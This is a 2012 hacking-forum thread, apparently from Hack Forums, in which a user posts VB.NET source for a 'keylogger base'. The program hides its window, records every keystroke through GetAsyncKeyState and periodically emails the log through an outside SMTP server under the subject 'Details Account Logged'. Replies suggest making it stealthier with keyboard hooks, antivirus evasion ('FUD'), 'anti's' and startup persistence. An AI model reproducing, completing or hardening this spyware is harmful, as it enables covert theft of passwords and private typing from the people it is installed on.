Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

.NET 

[VB.NET] Basic Keylogger Base

Hello,

Always wanted to create your own keylogger? This project might help you a bit. This is just a stub but you can easily transform this into a good fine working keylogger.

Code
Imports System.Net.Mail

Public Class Form1
    Dim res As Integer
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
  For i = 1 To 255
    res = 0
    res = GetAsyncKeyState(i)
    If res = -32767 Then
    TextBox1.Text = TextBox1.Text + Chr(i)
    End If
  Next i
    End Sub

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
  Me.Hide()
  Timer1.Start()
  Timer2.Start()
    End Sub

    Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
  Dim MyMailMessage As New MailMessage()
  MyMailMessage.From = New MailAddress("MAIL")
  MyMailMessage.To.Add("MAIL")
  MyMailMessage.Subject = ("Details Account Logged")
  MyMailMessage.Body = TextBox1.Text
  Dim SMTPServer As New SmtpClient("smtp.live.com") 'smpt adres
  SMTPServer.Port = 587
  SMTPServer.Credentials = New System.Net.NetworkCredential("MAIL", "PASS") 'Obfuscate, or make your own encryption key. This thread: https://hackforums.net/showthread.php?tid=2159860
  SMTPServer.EnableSsl = True
  SMTPServer.Send(MyMailMessage)
    End Sub

Regards,
🤝
Give proper cedits, this is not yours.
You were just asking for someone to make you a message box...
(Feb 2, 2012 09:49 AM)dnEehT Wrote:  Give proper cedits, this is not yours.
You were just asking for someone to make you a message box...

And you don't expect that to be sarcasm? Look at my post activity.

Then you probably don't know me.
500 posts l33t vs- 4000 posts ub3r
lets see how this ends...
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Int32) As UShort
Someone else wants to leave there feedback?
Evreything i type, is displayed in the textbox but is uppercase only
its a nice base for beginning but i will release my own in a second ,Butvery nice

And btw BRIGADIER this is a base so this is used by many people so it's probarly made by himself
(Feb 2, 2012 12:17 PM)fillobotto Wrote:  Evreything i type, is displayed in the textbox but is uppercase only

Thats why it could be used as a base I am not a person thats going to release full sources that often. Because they get leaked and people don't tend to learn from it.
Thanks for the response, when i get my pc back, i'll try to make it a little bit more advanced
(Feb 2, 2012 12:49 PM)Little G1NG3R Wrote:  its a nice base for beginning but i will release my own in a second ,Butvery nice

And btw BRIGADIER this is a base so this is used by many people so it's probarly made by himself

He thought that I C&P because I posted on a thread how to make a messagebox for the lulz of course. But some people don't see the sarcasm in that.
Hooks are still much more effective, but this is definitely going to be a n00b script very quickly here. Youtube is full of this same style of keylogger source. I would not use any source from youtube though as they are not FUD.
(Feb 2, 2012 03:07 PM)webdev77 Wrote:  Hooks are still much more effective, but this is definitely going to be a n00b script very quickly here. Youtube is full of this same style of keylogger source. I would not use any source from youtube though as they are not FUD.

Some people should really learn how to read content in a thread.
That's a bad method I think for logging keys. Hooks are more accurate and don't seem to be as memory intensive, although it's really not that noticeable. All you need though is to add some anti's and startup then you have a nice basic logger though.

SKYPE:teh.d4rkn3s5|MSN:[email protected]
thanks for sharing the base ! Should be enough to start :)


Possibly Related Threads...
Thread / Author Replies Views Last Post
[.NET] by D3n1s90Aug 17, 2020 04:58 AM 2 163 Aug 17, 2020 04:58 AM
Last Post: SaketSaket
[Java] by jarvurMay 3, 2015 03:43 PM 20 623 May 3, 2015 03:43 PM
Last Post: DаrkStorm
[.NET] by D_DFeb 25, 2014 06:16 AM 9 650 Feb 25, 2014 06:16 AM
Last Post: derpin0n